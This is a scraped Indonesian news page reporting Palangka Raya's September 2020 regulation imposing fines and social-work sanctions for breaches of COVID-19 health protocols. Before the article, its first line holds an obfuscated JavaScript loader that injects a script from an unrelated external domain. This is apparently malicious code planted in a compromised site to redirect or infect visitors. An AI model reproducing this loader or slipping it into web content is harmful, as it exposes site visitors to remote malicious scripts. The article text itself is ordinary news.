(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA — Terhitung 14 September 2020, Pemerintah Kota (Pemko) Palangka Raya resmi memberlakukan Peraturan Wali Kota (Perwali) nomor 26 tahun 2020, tentang penerapan disiplin dan penegakan hukum protokol kesehatan dalam rangka percepatan penanganan Covid-19 dan pemulihan ekonomi.
Pemberlakukan Perwali dipimpin Wakil Wali Kota Palangka Raya Umi Mastikah, di halaman Balai Kota, Senin (14/9/2020).
Subjek pengaturan Perwali meliputi perorangan, pelaku usaha dan pengelola, penyelenggara, atau penanggung jawab tempat dan fasilitas umum.
Dalam Perwali itu, salah satu yang disebutkan yakni bagi setiap orang yang melanggar ketentuan protokol kesehatan yaitu tidak memakai masker akan dikenakan kerja sosial ataupun denda administratif sebesar Rp 100.000.
Sanksi kerja sosial antara lain menyapu jalan umum dengan waktu paling sedikit dua jam dan paling lama selama seminggu setiap hari untuk pelanggar yang berulang.
Kemudian menjadi relawan pada satuan tugas penanganan Covid-19 selama tiga hari ataupun membersihkan fasilitas umum atau fasilitas sosial selama satu hari.
Sedangkan pelaku usaha, pengelola, penyelenggara atau penanggung jawab tempat dan fasilitas umum, tak hanya teguran tertulis, tapi juga rekomendasi
pencabutan jabatan pada pengelola atau penutupan pembubaran kegiatan.
Kemudian penyegelan sementara, rekomendasi pencabutan izin operasional. Bahkan denda administratif berkisar Rp 5 juta hingga Rp 15 juta.
Tempat dan fasilitas umum dimaksud yaitu sekolah/institusi pendidikan lainnya. Stasiun, terminal, pelabuhan, dan bandar udara, transportasi umum, toko, pasar modern, dan pasar tradisional.
Apotek dan toko obat area publik, tempat lainnya yang dapat memungkinkan adanya kerumunan massa.
Tempat dan fasilitas umum yang harus memperhatikan protokol kesehatan lainnya warung makan, rumah makan, cafe, dan restoran.
Pedagang kaki lima/lapak jajanan, perhotelan/penginapan lain yang sejenis, tempat wisata dan fasilitas pelayanan kesehatan. (kanalkalimantan.com/tri)
Reporter: Tri
Editor : Bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.